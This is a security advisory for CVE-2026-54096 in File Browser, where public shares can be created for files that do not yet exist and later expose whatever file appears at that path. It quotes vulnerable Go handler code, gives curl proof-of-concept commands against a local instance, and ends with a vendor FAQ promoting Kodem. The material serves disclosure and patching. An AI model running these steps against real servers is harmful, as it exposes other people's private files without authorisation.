CVE-2026-54096

This is similar vulnrability of CVE-2026-0035, which was fixed in Android MediaProvider with high severity. In the original Java issue, MediaStore.createWriteRequest() accepted attacker-controlled URIs and created a future grant even when the referenced media item did not exist yet. The Android fix added an existence check before creating the request.

filebrowser/filebrowser has the analogous issue in Go. POST /api/share/<path> accepts an authenticated request for an arbitrary path and stores a public share record without checking whether the target file currently exists. Later, when a file is created at that same path, the previously created public share immediately becomes valid and exposes the new file through GET /api/public/dl/<hash>.

Details

The vulnerable create path is:

• http/share.go
• sharePostHandler()
• route: POST /api/share/<path>

sharePostHandler() only checks that the caller is authenticated and has share/download permissions. It then builds a share.Link directly from r.URL.Path and saves it:

s = &share.Link{
    Path:         r.URL.Path,
    Hash:         str,
    Expire:       expire,
    UserID:       d.user.ID,
    PasswordHash: string(hash),
    Token:        token,
}

if err := d.store.Share.Save(s); err != nil {
    return http.StatusInternalServerError, err
}

There is no Stat, Exists, or equivalent check before the public share record is committed.

The vulnerable consume path is:

• http/public.go
• withHashFile()
• routes: GET /api/public/share/<hash>, GET /api/public/dl/<hash>

Each public request loads the saved share by hash and then resolves link.Path against the owner's current filesystem state:

file, err := files.NewFileInfo(&files.FileOptions{
    Fs:   d.user.Fs,
    Path: link.Path,
    ...
})

This means the share is not bound to an object that existed at creation time. It is bound only to a path string, so a share created for a nonexistent path becomes valid later as soon as that path is populated.

PoC

The PoC below starts from external HTTP input only.

1. Authenticate to File Browser.
2. Confirm /future4.txt does not exist.
3. Create a public share for /future4.txt anyway.
4. Confirm the public share returns 404.
5. Upload a file to /future4.txt.
6. Reuse the same public share URL and read the file content.

Reproduction commands:

TOKEN=$(curl -s -X POST http://127.0.0.1:8091/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"Password123!"}')

curl -i -X POST http://127.0.0.1:8091/api/share/future4.txt \
  -H "X-Auth: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{}'

curl -i http://127.0.0.1:8091/api/public/dl/JVeEQlLO

curl -i -X POST http://127.0.0.1:8091/api/resources/future4.txt \
  -H "X-Auth: $TOKEN" \
  --data-binary 'fourth-secret'

curl -i http://127.0.0.1:8091/api/public/dl/JVeEQlLO

Reference

Original CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-0035

An authenticated user can create a public share for a path before the file exists, and that same share later exposes whatever file is created at that path. This can unintentionally publish future sensitive files and bypass the expected invariant that a share grants access only to an existing object reviewed at creation time.

Kodem intelligence

1. What is CVE-2026-54096? CVE-2026-54096 is a high-severity security vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions <= 2.63.6. It is fixed in 2.63.7.
2. Which packages are affected by CVE-2026-54096?
   • github.com/filebrowser/filebrowser/v2 (go) (versions <= 2.63.6)
   • github.com/filebrowser/filebrowser (go) (versions <= 1.11.0)
3. Is there a fix for CVE-2026-54096? Yes. CVE-2026-54096 is fixed in 2.63.7. Upgrade to this version or later.
4. Is CVE-2026-54096 exploitable, and should I be worried? Whether CVE-2026-54096 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-54096 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-54096? Upgrade github.com/filebrowser/filebrowser/v2 to 2.63.7 or later.